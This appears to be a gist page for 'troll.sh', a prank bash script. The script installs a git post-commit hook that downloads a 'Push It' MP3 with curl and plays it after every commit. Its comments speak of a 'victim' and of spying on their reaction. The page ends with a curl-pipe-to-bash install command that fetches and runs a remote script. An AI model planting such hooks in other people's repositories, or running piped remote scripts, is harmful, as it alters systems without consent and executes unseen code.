"Push It" by Salt'N Pepa circa 1986

push_it.mp3

troll.sh

#!/bin/bash

# File we're going to update
HOOKER=.git/hooks/post-commit
SRC=https://gist.githubusercontent.com/ddrscott/6bc53af447cfa2c1e250e553b9c3536c/raw/607b33805ade14db815bc1704192592d8f5385a5/push_it.mp3
DST=/tmp/push_it.mp3

# 1. Go to project's directory
# $ cd path/to/repo

# 2. If hook isn't there, add it with the sh-bang
#    If it is there, hopefully it's a bash file.
if [ ! -f $HOOKER ]; then
  # File not present, add it with shebang
  echo '#!/bin/bash' > $HOOKER
  # Make it executable
  chmod +x $HOOKER
fi

# 3. Download the MP3 from gist if it's not there.
# 4. Play the downloaded file.
cat >> $HOOKER <<EOF
if [ ! -f $DST ]; then
  curl $SRC > $DST
fi
(afplay $DST &)
# You're welcome!
# - `git config --global user.email`
EOF

# 5. Spy on the victim to see their reaction.

Feeling brave? Install the hook!

1. Go to repo path: cd path/to/repo
2. Install hook:

curl https://gist.githubusercontent.com/ddrscott/6bc53af447cfa2c1e250e553b9c3536c/raw/d6f1aa1b8c4dfc532f5458c039bf5661e2e1d2d3/troll.sh | bash -s